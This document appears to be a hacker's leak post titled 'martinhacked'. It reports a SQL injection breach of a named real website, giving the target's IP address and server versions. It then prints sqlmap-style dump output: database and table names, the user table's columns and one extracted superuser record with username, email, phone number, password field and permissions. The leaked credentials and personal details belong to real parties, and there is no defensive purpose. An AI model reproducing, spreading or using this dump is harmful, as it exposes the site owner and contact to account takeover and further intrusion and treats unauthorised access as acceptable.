martinhacked

Target: http://martin-schulz.info/
Vulnerability type: Sql injection
Ip:80.83.122.216
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
banner:    '5.1.73'

screenshots http://prntscr.com/61uc1l   http://prntscr.com/61uci1


available databases [2]:
[*] information_schema
[*] usrdb_martiib9_v7redsys

Database: usrdb_martiib9_v7redsys
[11 tables]
+-----------------+
| aktuelles       |
| blog            |
| cms_navigation  |
| cms_page        |
| mediathek       |
| presse          |
| quiz            |
| quiz_teilnehmer |
| termine         |
| umfrage         |
| userbw          |
+-----------------+
Database: usrdb_martiib9_v7redsys
Table: userbw
[14 columns]
+----------------+--------------+
| Column         | Type         |
+----------------+--------------+
| aktiv          | varchar(4)   |
| anrede         | varchar(4)   |
| benutzername   | varchar(50)  |
| berechtigungen | text         |
| bilder         | longtext     |
| email          | varchar(100) |
| entwurf        | varchar(4)   |
| id             | int(11)      |
| last_login     | datetime     |
| nachname       | varchar(50)  |
| passwort       | varchar(50)  |
| telefon        | varchar(30)  |
| titel          | varchar(20)  |
| vorname        | varchar(50)  |

[11:40:34] [INFO] fetching entries for table 'userbw' in database 'usrdb_martiib
9_v7redsys'
[11:40:34] [INFO] the SQL query used returns 1 entries
[11:40:35] [INFO] retrieved: ja
[11:40:36] [INFO] retrieved: Herr
[11:40:37] [INFO] retrieved: nagkEeegjfwsnAxfEreqyupq
[11:40:41] [INFO] retrieved: a:9:{s:9:"aktuelles";b:1;s:7:"termine";b:1;s:6:"pre
sse";b:1;s:7:"umfrage";b:1;s:4:"quiz";b:1;s:4:"blog";b:1;s:9:"mediathek";b:1;s:3
:"cms";b:1;s:4:"user";b:1;}
[11:40:43] [INFO] retrieved: a:1:{i:0;a:7:{i:0;s:10:"1229684947";i:1;s:3:"394";i
:2;s:3:"209";i:3;s:9:"dummy.jpg";i:4;s:2:"15";i:5;s:5:"26 KB";i:6;s:3:"jpg";}}
[11:40:45] [INFO] retrieved: info@visualseven.de
[11:40:45] [INFO] retrieved:
[11:40:46] [INFO] retrieved: 1


Database: usrdb_martiib9_v7redsys
Table: userbw
[1 entry]

id,titel,aktiv,email,bilder,anrede,entwurf,vorname,telefon,passwort,nachname,last_login,benutzername,berechtigungen
1,Superuser,ja,info@visualseven.de,"a:1:{1229684947"";i:1;s:3:""394"";i:2;s:3:""209"";i:3;s:9i:0;a:7:{i:0;s:10:"":""dummy.jpg"";i:4;s:2:""15"";i:5;s:5:""26 KB"";i:6;s:3:""jpg"";}}",Herr,<blank>,<blank>,(0 24 03) 5 01 79 -0,¼.@ë»<ÿ©\x17\x1a\x17\x9bø×\x98 í\x84!Ø\x84I`\x84,<blank>,2015-02-06 08:59:49,nagkEeegjfwsnAxfEreqyupq,"a:9:{s:9:""aktuelles"";b:1;s:7:""termine"";b:1;s:6:""presse"";b:1;s:7:""umfrage"";b:1;s:4:""quiz"";b:1;s:4:""blog"";b:1;s:9:""mediathek"";b:1;s:3:""cms"";b:1;s:4:""user"";b:1;}"

database management system users [1]:
[*] 'martiib9'@'localhost'